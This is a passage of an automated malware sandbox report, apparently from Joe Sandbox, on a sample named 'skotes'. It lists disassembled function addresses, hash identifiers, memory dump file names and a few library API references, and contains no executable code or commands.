Opcode Fuzzy Hash: 5fa443088144f4ba700c17d3e3e25254bc4dcbbb1cc60114d714b1d8355e281a
Instruction Fuzzy Hash: 2DF0B4B724C120BEE14245816B20AFA6B7DE7C3331731D8A3F843C4112F3A51A497272

Function 04E50C8D Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbcd8c661d806ab1dbbd03e63d6bd40c3b9ba9364f528b20095ed3ebfa1a67f2
Instruction ID: 8cc0dfa31454aca800ac282a3fc76449cfea47a986c93f114cc919a742786106
Opcode Fuzzy Hash: fbcd8c661d806ab1dbbd03e63d6bd40c3b9ba9364f528b20095ed3ebfa1a67f2
Instruction Fuzzy Hash: FDF046B320D220EFE202941167A5AFA6BBED7C3330731946AF842C6511E38512497672

Non-executed Functions

Function 00DE31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DE3323

Strings

1#INF, xrefs: 00DE44DE
1#QNAN, xrefs: 00DE44C1
1#IND, xrefs: 00DE44B3
1#SNAN, xrefs: 00DE44BA

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8b8c08f207380376272a3c3081265e42339378886e17da3037a34d8edfa76596
Instruction ID: f8c0e6d7a8736e5b51a73eb83cf6a2633dde4dd0f7d5c41ac5cfd943a8563ad3
Opcode Fuzzy Hash: 8b8c08f207380376272a3c3081265e42339378886e17da3037a34d8edfa76596
Instruction Fuzzy Hash: 27C25B71E046688FCF25EE29DD447EAB3B5EB48304F1941EAD94DE7240E774AE818F60

Function 00DE2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 45d48be7ecf3c7dc425f88876273327894fa775ac3e02dc2f556dfead454dac9
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: A8F13D71E002599BDF14DFA9C8846ADB7F5FF48314F29826DE919AB344D731AE01CBA0

Function 00DBCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00DBCF52,?,?,?,?,00DBCF87,?,?,?,?,?,?,00DBC4FD,?,00000001), ref: 00DBCC03

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 5384d9d80c4032979fbbcc229b510f356ecb3ae88a850a3d9cab2dc9fe6265cd
Instruction ID: cb78b4b2dead1fbf166cc35b2f135133cf95d9b4a0b10e26739ca07d26facd91
Opcode Fuzzy Hash: 5384d9d80c4032979fbbcc229b510f356ecb3ae88a850a3d9cab2dc9fe6265cd
Instruction Fuzzy Hash: 96D02232512238DB8A012B84EC008EDBF68AB00B64308A016E90AA3220CA11AC809BF5

Function 00DD7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00DD80B2

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: b37212d99a21396a635b2197f243b1b12f7398cd69939a190e5113c5ae2e4e65
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 33519C706487445ADB3A9B7888967BE779AAF01300F1C059FE482D73C1EE52DD4DA371

Function 04E503D2 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

=Yra, xrefs: 04E5041E

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID: =Yra
API String ID: 0-1741988069
Opcode ID: 82f3192d7d0acbce7d1b758c8a7daa41198bca5755bb65b548699867fee4fa2f
Instruction ID: baee1736c54326f83ea2531812905dfdc178046afee04f4f7262c65f936d01e1
Opcode Fuzzy Hash: 82f3192d7d0acbce7d1b758c8a7daa41198bca5755bb65b548699867fee4fa2f
Instruction Fuzzy Hash: C4118EEB34C120ADA415945A2B659FA5B2EE3D2330332F52BFC47C5927F6442A8A6031

Function 00DA4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a5aa1719db5ba89efd1e000a1e1599074adbdb0158bc1a84bdbd83bc5c9c95a
Instruction ID: a0722dd991af2e5e138881f4fba76f9fca75234c13d2e2b6bde16e5211c9a0f9
Opcode Fuzzy Hash: 6a5aa1719db5ba89efd1e000a1e1599074adbdb0158bc1a84bdbd83bc5c9c95a
Instruction Fuzzy Hash: 412260B3F515144BDB0CCB9DDCA27ECB2E3AFD8218B0E903DA40AE3345EA79D9158644

Function 00DE7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c33413aa39fd7afa71b6a6b78e21143aea5aabd20b33ac711b71c482aff1fa
Instruction ID: 41e0665b8f5ed7899c39b349e2e5452f1f9dbe3998aaa217c96f665dce178ab2
Opcode Fuzzy Hash: a0c33413aa39fd7afa71b6a6b78e21143aea5aabd20b33ac711b71c482aff1fa
Instruction Fuzzy Hash: 07B18C31614644CFDB68DF29C486B647BE0FF45364F298658E9DACF2A1C335E982CB50

Function 00DA4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 089d54493da4c8c8e2df012ac3e68f49636e4ee32fad4b60a58e9eafe540630a
Instruction ID: d533d3caa64effff04bfb1bdc5d1be36594f2eb11c2a60ddc0899b5873796e4d
Opcode Fuzzy Hash: 089d54493da4c8c8e2df012ac3e68f49636e4ee32fad4b60a58e9eafe540630a
Instruction Fuzzy Hash: 81812070A002458FEB15CF69D8947EEBBF1FB9A300F180669D854A7392C7B5D949CBB0

Function 00DE78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71efab29542525783ead0bb2db3ba489eb082cd946440d574077a578b251947a
Instruction ID: 81d6c31f953be8117b44145b6d57060ec42ac40f298082add8d1d379f80e3597
Opcode Fuzzy Hash: 71efab29542525783ead0bb2db3ba489eb082cd946440d574077a578b251947a
Instruction Fuzzy Hash: 3521B673F204394B770CC47E8C5227DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 00DE779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6ebdd3f5a2f4f41f907359a04de20eb6d7498abb208cbedb155abe7a08e9e0
Instruction ID: 52fde3f2b270a15f94d29f346ba434fdcc39e3739c4912a57e9eb2cc12366919
Opcode Fuzzy Hash: 2f6ebdd3f5a2f4f41f907359a04de20eb6d7498abb208cbedb155abe7a08e9e0
Instruction Fuzzy Hash: EF118623F30C255B775C816D8C172BAA5D6EBD825071F533AD826E7284E9A4DE23D2A0

Function 00DE8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f4e71ef6934ac4d40a5bf58abae4330458176fcaae736f53a7f8f2136ba4fd03
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A4115B7B6001C243E608A62FF8F45B7A795EBC53257AC437AC8898B748DA22D841B630

Function 00DD652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b60cd36bea1a2b422d56700cc6bddd4018f84b3363974942216b020664aeea14
Instruction ID: ec873059f6bc8e1c0a4ef34844ef8ca0d24ffa1c63b77b5891e163b7b31a4e9f
Opcode Fuzzy Hash: b60cd36bea1a2b422d56700cc6bddd4018f84b3363974942216b020664aeea14
Instruction Fuzzy Hash: 48E08C30081108AECF25BF58E809E483B6AEF51745F049812F9144A325CB26EEC2C6A0

Function 00DDA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: fba1d09fa14669d17e2d757df84bad401be093057257cc954fbad7b2e38c8d22
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: B6E08C32921228EBCB14DBDCC904D9AF7ECEB49B10B654097F501D3250C270DE00C7E0

Function 00DA2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00DA2F5F
GetCurrentThreadId.KERNEL32 ref: 00DA2F7E
__Mtx_unlock.LIBCPMT ref: 00DA2FCC
__Cnd_broadcast.LIBCPMT ref: 00DA2FE3
__Mtx_unlock.LIBCPMT ref: 00DA30F5
GetCurrentThreadId.KERNEL32 ref: 00DA3132
__Mtx_unlock.LIBCPMT ref: 00DA319B

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 2a8e0e59600a87f299d2799d396515d2075e0fadbca03914eff460f991c96aed
Instruction ID: 446f417b8343de9ca23380fc2c3a8f6df4004eaf3dc35aa4dbd2ad8c631fce46
Opcode Fuzzy Hash: 2a8e0e59600a87f299d2799d396515d2075e0fadbca03914eff460f991c96aed
Instruction Fuzzy Hash: 50A1C070A01305DFEB20DF65C945BAAB7A9FF16314F088129F816D7251EB35EA04CBB1

Function 00DD4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DD4877
___except_validate_context_record.LIBVCRUNTIME ref: 00DD487F
_ValidateLocalCookies.LIBCMT ref: 00DD4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00DD4933
